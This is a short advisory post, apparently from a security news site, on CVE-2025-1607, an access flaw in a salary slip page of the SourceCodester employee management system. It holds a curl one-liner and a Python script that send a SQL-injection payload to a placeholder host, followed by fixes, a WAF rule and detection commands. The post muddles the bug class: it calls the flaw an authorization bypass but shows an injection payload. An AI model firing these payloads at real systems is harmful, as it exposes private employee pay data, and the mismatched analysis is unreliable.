SourceCodester Best Employee Management System, Authorization Bypass, CVE-2025-1607 (Medium)

Listen to this Post

How CVE-2025-1607 Works

The vulnerability exists in `/admin/salary_slip.php` where improper authorization checks allow attackers to bypass authentication by manipulating the `id` parameter. Remote attackers craft malicious requests to access restricted salary slip data without valid credentials. The system fails to validate user permissions, enabling unauthorized data exposure.

DailyCVE Form:

Platform: SourceCodester
Version: 1.0
Vulnerability: Authorization Bypass
Severity: Medium
Date: 05/14/2025

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

curl -X GET "http://target.com/admin/salary_slip.php?id=1' OR '1'='1"

2. Automated Exploit:

import requests
url = "http://target.com/admin/salary_slip.php"
params = {"id": "1' OR '1'='1"}
response = requests.get(url, params=params)
print(response.text)

Protection:

1. Input Validation:

$id = mysqli_real_escape_string($conn, $_GET['id']);

2. Authorization Check:

if (!isset($_SESSION['admin'])) {
header("Location: /login.php");
exit();
}

3. WAF Rule:

location /admin/ {
if ($args ~ "id=.[';]") {
return 403;
}
}

Analytics:

  • CVSS: 5.3 (AV:N/AC:L/PR:L/UI:N/VC:L)
  • Exploitability: Remote, Low Complexity
  • Patch Status: Unavailable

Detection:

grep -r "salary_slip.php" /var/www/html/

Mitigation Commands:

1. Disable Access:

chmod 000 /var/www/html/admin/salary_slip.php

2. Log Monitoring:

tail -f /var/log/apache2/access.log | grep "salary_slip.php"

References:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top